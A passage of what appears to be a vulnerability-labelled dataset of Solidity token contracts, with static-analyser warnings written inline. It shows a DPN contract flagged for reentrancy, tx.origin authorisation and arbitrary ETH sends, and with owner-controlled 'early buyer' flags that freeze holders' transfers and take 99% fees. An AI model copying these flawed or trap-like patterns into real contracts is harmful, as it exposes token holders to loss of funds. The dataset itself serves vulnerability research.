blockForPenaltyEnd = tradingActiveBlock + _deadblocks;\n\n emit Launched();\n }\n\n function zeroLimitsDPN() external onlyOwner {\n limitsInEffect = false;\n\n transferDelayEnabled = false;\n\n emit RemovedLimits();\n }\n\n function manageEarlyDPN(address wallet, bool flag) external onlyOwner {\n boughtEarly[wallet] = flag;\n }\n\n function zeroTransferDelayDPN() external onlyOwner {\n transferDelayEnabled = false;\n }\n\n function setMaxBuyDPN(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 2) / 1000) / 1e18,\n \"Cannot set max buy amount lower than 0.2%\"\n );\n\n maxBuy = newNum * (10 ** 18);\n\n emit UpdatedMaxBuyAmount(maxBuy);\n }\n\n function setMaxSellDPN(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 2) / 1000) / 1e18,\n \"Cannot set max sell amount lower than 0.2%\"\n );\n\n maxSell = newNum * (10 ** 18);\n\n emit UpdatedMaxSellAmount(maxSell);\n }\n\n function setMaxWallDPN(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 3) / 1000) / 1e18,\n \"Cannot set max wallet amount lower than 0.3%\"\n );\n\n maxWallet = newNum * (10 ** 18);\n\n emit UpdatedMaxWalletAmount(maxWallet);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 20fea70): DPN.updateSwapTokensDPN(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 20fea70: Emit an event for critical parameter changes.\n function updateSwapTokensDPN(uint256 newAmount) external onlyOwner {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 1) / 1000,\n \"Swap amount cannot be higher than 0.1% total supply.\"\n );\n\n\t\t// events-maths | ID: 20fea70\n swapTokensAtAmount = newAmount;\n }\n\n function _excludeFromMaxTransaction(\n address updAds,\n bool isExcluded\n ) private {\n _isExcludedMaxTransactionAmount[updAds] = isExcluded;\n\n emit MaxTransactionExclusion(updAds, isExcluded);\n }\n\n function excludeFromMax(address updAds, bool isEx) external onlyOwner {\n if (!isEx) {\n require(\n updAds != lpPair,\n \"Cannot remove uniswap pair from max txn\"\n );\n }\n\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function setAMM(address pair, bool value) external onlyOwner {\n require(pair != lpPair, \"The pair cannot be removed\");\n\n _setAutomatedMarketMakerPair(pair, value);\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n _excludeFromMaxTransaction(pair, value);\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d49c2a8): Missing events for critical arithmetic parameters.\n\t// Recommendation for d49c2a8: Emit an event for critical parameter changes.\n function updateBuyFeesDPN(\n uint256 _operationsFee,\n uint256 _liquidityFee,\n uint256 _DevFee,\n uint256 _burnFee\n ) external onlyOwner {\n\t\t// events-maths | ID: d49c2a8\n buyOperationsFee = _operationsFee;\n\n\t\t// events-maths | ID: d49c2a8\n buyLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: d49c2a8\n buyDevFee = _DevFee;\n\n\t\t// events-maths | ID: d49c2a8\n buyBurnFee = _burnFee;\n\n\t\t// events-maths | ID: d49c2a8\n buyTotalFees =\n buyOperationsFee +\n buyLiquidityFee +\n buyDevFee +\n buyBurnFee;\n\n require(buyTotalFees <= 20, \"Must keep fees at 20% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 44929f1): Missing events for critical arithmetic parameters.\n\t// Recommendation for 44929f1: Emit an event for critical parameter changes.\n function updateSellFeesDPN(\n uint256 _operationsFee,\n uint256 _liquidityFee,\n uint256 _DevFee,\n uint256 _burnFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 44929f1\n sellOperationsFee = _operationsFee;\n\n\t\t// events-maths | ID: 44929f1\n sellLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: 44929f1\n sellDevFee = _DevFee;\n\n\t\t// events-maths | ID: 44929f1\n sellBurnFee = _burnFee;\n\n\t\t// events-maths | ID: 44929f1\n sellTotalFees =\n sellOperationsFee +\n sellLiquidityFee +\n sellDevFee +\n sellBurnFee;\n\n require(sellTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n function returnToStandardTax() external onlyOwner {\n sellOperationsFee = 20;\n\n sellLiquidityFee = 0;\n\n sellDevFee = 0;\n\n sellBurnFee = 0;\n\n sellTotalFees =\n sellOperationsFee +\n sellLiquidityFee +\n sellDevFee +\n sellBurnFee;\n\n require(sellTotalFees <= 20, \"Must keep fees at 20% or less\");\n\n buyOperationsFee = 25;\n\n buyLiquidityFee = 0;\n\n buyDevFee = 0;\n\n buyBurnFee = 0;\n\n buyTotalFees =\n buyOperationsFee +\n buyLiquidityFee +\n buyDevFee +\n buyBurnFee;\n\n require(buyTotalFees <= 25, \"Must keep fees at 25% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5c69d0f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5c69d0f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6cc8c06): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6cc8c06: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: dd9c863): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for dd9c863: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 916f611): DPN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * sellTotalFees) / 100 tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for 916f611: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5a37627): DPN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 99) / 100 tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees\n\t// Recommendation for 5a37627: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 16d2083): DPN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * sellTotalFees) / 100 tokensForOperations += (fees * sellOperationsFee) / sellTotalFees\n\t// Recommendation for 16d2083: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: bc025be): DPN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 99) / 100 tokensForBurn += (fees * buyBurnFee) / buyTotalFees\n\t// Recommendation for bc025be: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fc197e9): DPN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees\n\t// Recommendation for fc197e9: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5378aa1): DPN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 99) / 100 tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for 5378aa1: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2d20cbc): DPN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * 99) / 100 tokensForOperations += (fees * buyOperationsFee) / buyTotalFees\n\t// Recommendation for 2d20cbc: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: faea881): DPN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for faea881: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d3ac53b): DPN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForBurn += (fees * buyBurnFee) / buyTotalFees\n\t// Recommendation for d3ac53b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: dd699e1): DPN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * sellTotalFees) / 100 tokensForBurn += (fees * sellBurnFee) / sellTotalFees\n\t// Recommendation for dd699e1: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 8245edd): DPN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * sellTotalFees) / 100 tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees\n\t// Recommendation for 8245edd: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d6a73f9): DPN._transfer(address,address,uint256) performs a multiplication on the result of a division fees = (amount * buyTotalFees) / 100 tokensForOperations += (fees * buyOperationsFee) / buyTotalFees\n\t// Recommendation for d6a73f9: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4c7a2ba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4c7a2ba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"amount must be greater than 0\");\n\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (blockForPenaltyEnd > 0) {\n require(\n !boughtEarly[from] || to == owner() || to == address(0xdead),\n \"Bots cannot transfer tokens in or out except to owner or dead address.\"\n );\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n if (transferDelayEnabled) {\n if (to != address(dexRouter) && to != address(lpPair)) {\n\t\t\t\t\t\t// tx-origin | ID: dd9c863\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number - 2 &&\n _holderLastTransferTimestamp[to] <\n block.number - 2,\n \"_transfer:: Transfer Delay enabled. Try again later.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n\n _holderLastTransferTimestamp[to] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxBuy,\n \"Buy transfer amount exceeds the max buy.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Cannot Exceed max wallet\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxSell,\n \"Sell transfer amount exceeds the max sell.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Cannot Exceed max wallet\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 5c69d0f\n\t\t\t// reentrancy-benign | ID: 6cc8c06\n\t\t\t// reentrancy-eth | ID: 4c7a2ba\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 4c7a2ba\n swapping = false;\n }\n\n bool takeFee = true;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (\n earlyBuyPenaltyInEffect() &&\n automatedMarketMakerPairs[from] &&\n !automatedMarketMakerPairs[to] &&\n buyTotalFees > 0\n ) {\n if (!boughtEarly[to]) {\n\t\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n boughtEarly[to] = true;\n\n\t\t\t\t\t// reentrancy-benign | ID: 6cc8c06\n botsCaught += 1;\n\n\t\t\t\t\t// reentrancy-events | ID: 5c69d0f\n emit CaughtEarlyBuyer(to);\n }\n\n\t\t\t\t// divide-before-multiply | ID: 5a37627\n\t\t\t\t// divide-before-multiply | ID: bc025be\n\t\t\t\t// divide-before-multiply | ID: 5378aa1\n\t\t\t\t// divide-before-multiply | ID: 2d20cbc\n fees = (amount * 99) / 100;\n\n\t\t\t\t// divide-before-multiply | ID: 5a37627\n\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 2d20cbc\n\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 5378aa1\n\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: bc025be\n\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n tokensForBurn += (fees * buyBurnFee) / buyTotalFees;\n } else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 916f611\n\t\t\t\t// divide-before-multiply | ID: 16d2083\n\t\t\t\t// divide-before-multiply | ID: dd699e1\n\t\t\t\t// divide-before-multiply | ID: 8245edd\n fees = (amount * sellTotalFees) / 100;\n\n\t\t\t\t// divide-before-multiply | ID: 8245edd\n\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 16d2083\n\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n tokensForOperations +=\n (fees * sellOperationsFee) /\n sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 916f611\n\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: dd699e1\n\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n tokensForBurn += (fees * sellBurnFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: fc197e9\n\t\t\t\t// divide-before-multiply | ID: faea881\n\t\t\t\t// divide-before-multiply | ID: d3ac53b\n\t\t\t\t// divide-before-multiply | ID: d6a73f9\n fees = (amount * buyTotalFees) / 100;\n\n\t\t\t\t// divide-before-multiply | ID: fc197e9\n\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: d6a73f9\n\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: faea881\n\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: d3ac53b\n\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n tokensForBurn += (fees * buyBurnFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 5c69d0f\n\t\t\t\t// reentrancy-eth | ID: 4c7a2ba\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 5c69d0f\n\t\t// reentrancy-eth | ID: 4c7a2ba\n super._transfer(from, to, amount);\n }\n\n function earlyBuyPenaltyInEffect() public view returns (bool) {\n return block.number < blockForPenaltyEnd;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = dexRouter.WETH();\n\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: a81ffc9\n\t\t// reentrancy-events | ID: 5c69d0f\n\t\t// reentrancy-events | ID: dbb7664\n\t\t// reentrancy-benign | ID: 74173fc\n\t\t// reentrancy-benign | ID: 60d5a5c\n\t\t// reentrancy-benign | ID: 6cc8c06\n\t\t// reentrancy-no-eth | ID: 589f855\n\t\t// reentrancy-eth | ID: 4c7a2ba\n dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8db01c1): DPN.addLiquidity(uint256,uint256) ignores return value by dexRouter.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(0xdead),block.timestamp)\n\t// Recommendation for 8db01c1: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(dexRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: a81ffc9\n\t\t// reentrancy-events | ID: 5c69d0f\n\t\t// reentrancy-events | ID: dbb7664\n\t\t// reentrancy-benign | ID: 74173fc\n\t\t// reentrancy-benign | ID: 60d5a5c\n\t\t// reentrancy-benign | ID: 6cc8c06\n\t\t// unused-return | ID: 8db01c1\n\t\t// reentrancy-eth | ID: 4c7a2ba\n dexRouter.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(0xdead),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a81ffc9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a81ffc9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 60d5a5c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 60d5a5c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 589f855): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 589f855: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 0729fc7): DPN.swapBack() sends eth to arbitrary user Dangerous calls (success,None) = address(operationsAddress).call{value address(this).balance}()\n\t// Recommendation for 0729fc7: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 409b6f7): DPN.swapBack().success is written in both (success,None) = address(devAddress).call{value ethForDev}() (success,None) = address(operationsAddress).call{value address(this).balance}()\n\t// Recommendation for 409b6f7: Fix or remove the writes.\n function swapBack() private {\n if (tokensForBurn > 0 && balanceOf(address(this)) >= tokensForBurn) {\n _burn(address(this), tokensForBurn);\n }\n\n tokensForBurn = 0;\n\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForOperations +\n tokensForDev;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n bool success;\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n\n\t\t// reentrancy-events | ID: a81ffc9\n\t\t// reentrancy-benign | ID: 60d5a5c\n\t\t// reentrancy-no-eth | ID: 589f855\n swapTokensForEth(contractBalance - liquidityTokens);\n\n uint256 ethBalance = address(this).balance;\n\n uint256 ethForLiquidity = ethBalance;\n\n uint256 ethForOperations = (ethBalance * tokensForOperations) /\n (totalTokensToSwap - (tokensForLiquidity / 2));\n\n uint256 ethForDev = (ethBalance * tokensForDev) /\n (totalTokensToSwap - (tokensForLiquidity / 2));\n\n ethForLiquidity -= ethForOperations + ethForDev;\n\n\t\t// reentrancy-no-eth | ID: 589f855\n tokensForLiquidity = 0;\n\n\t\t// reentrancy-no-eth | ID: 589f855\n tokensForOperations = 0;\n\n\t\t// reentrancy-no-eth | ID: 589f855\n tokensForDev = 0;\n\n\t\t// reentrancy-no-eth | ID: 589f855\n tokensForBurn = 0;\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: a81ffc9\n\t\t\t// reentrancy-benign | ID: 60d5a5c\n addLiquidity(liquidityTokens, ethForLiquidity);\n }\n\n\t\t// reentrancy-events | ID: 5c69d0f\n\t\t// reentrancy-events | ID: dbb7664\n\t\t// reentrancy-benign | ID: 74173fc\n\t\t// reentrancy-benign | ID: 6cc8c06\n\t\t// write-after-write | ID: 409b6f7\n\t\t// reentrancy-eth | ID: 4c7a2ba\n (success, ) = address(devAddress).call{value: ethForDev}(\"\");\n\n\t\t// reentrancy-events | ID: 5c69d0f\n\t\t// reentrancy-events | ID: dbb7664\n\t\t// reentrancy-benign | ID: 74173fc\n\t\t// reentrancy-benign | ID: 6cc8c06\n\t\t// write-after-write | ID: 409b6f7\n\t\t// reentrancy-eth | ID: 4c7a2ba\n\t\t// arbitrary-send-eth | ID: 0729fc7\n (success, ) = address(operationsAddress).call{\n value: address(this).balance\n }(\"\");\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d6152de): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d6152de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferForeignToken(\n address _token,\n address _to\n ) external onlyOwner returns (bool _sent) {\n require(_token != address(0), \"_token address cannot be 0\");\n\n require(_token != address(this), \"Can't withdraw native tokens\");\n\n uint256 _contractBalance = IERC20(_token).balanceOf(address(this));\n\n\t\t// reentrancy-events | ID: d6152de\n _sent = IERC20(_token).transfer(_to, _contractBalance);\n\n\t\t// reentrancy-events | ID: d6152de\n emit TransferForeignToken(_token, _contractBalance);\n }\n\n function withdrawStuckETH() external onlyOwner {\n bool success;\n\n (success, ) = address(msg.sender).call{value: address(this).balance}(\n \"\"\n );\n }\n\n function setOpsAddress(address _operationsAddress) external onlyOwner {\n require(\n _operationsAddress != address(0),\n \"_operationsAddress address cannot be 0\"\n );\n\n operationsAddress = payable(_operationsAddress);\n }\n\n function setDevAddress(address _devAddress) external onlyOwner {\n require(_devAddress != address(0), \"_devAddress address cannot be 0\");\n\n devAddress = payable(_devAddress);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dbb7664): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dbb7664: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 74173fc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 74173fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function forceSwapBack() external onlyOwner {\n require(\n balanceOf(address(this)) >= swapTokensAtAmount,\n \"Can only swap when token amount is at or higher than restriction\"\n );\n\n swapping = true;\n\n\t\t// reentrancy-events | ID: dbb7664\n\t\t// reentrancy-benign | ID: 74173fc\n swapBack();\n\n\t\t// reentrancy-benign | ID: 74173fc\n swapping = false;\n\n\t\t// reentrancy-events | ID: dbb7664\n emit OwnerForcedSwapBack(block.timestamp);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3b0da9f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3b0da9f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyBack(uint256 amountInWei) external onlyOwner {\n require(\n amountInWei <= 10 ether,\n \"May not buy more than 10 ETH in a single buy to reduce sandwich attacks\"\n );\n\n address[] memory path = new address[](2);\n\n path[0] = dexRouter.WETH();\n\n path[1] = address(this);\n\n\t\t// reentrancy-events | ID: 3b0da9f\n dexRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{\n value: amountInWei\n }(0, path, address(0xdead), block.timestamp);\n\n\t\t// reentrancy-events | ID: 3b0da9f\n emit BuyBackTriggered(amountInWei);\n }\n}\n",
"file_name": "solidity_code_10887.sol",
"size_bytes": 42407,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract KINGPEPE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4332cd0): KINGPEPE._taxWallet should be immutable \n\t// Recommendation for 4332cd0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e515e67): KINGPEPE._initialBuyTax should be constant \n\t// Recommendation for e515e67: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1fd1826): KINGPEPE._initialSellTax should be constant \n\t// Recommendation for 1fd1826: Add the 'constant' attribute to state variables that never 